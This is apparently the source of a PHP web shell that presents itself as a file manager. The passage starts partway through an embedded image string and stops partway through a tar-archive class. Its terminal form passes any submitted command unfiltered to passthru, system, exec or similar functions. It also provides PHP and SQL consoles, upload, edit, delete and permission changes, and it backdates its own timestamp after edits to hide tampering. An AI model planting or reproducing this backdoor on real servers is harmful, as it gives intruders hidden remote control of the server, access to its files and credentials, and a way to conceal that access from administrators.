OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
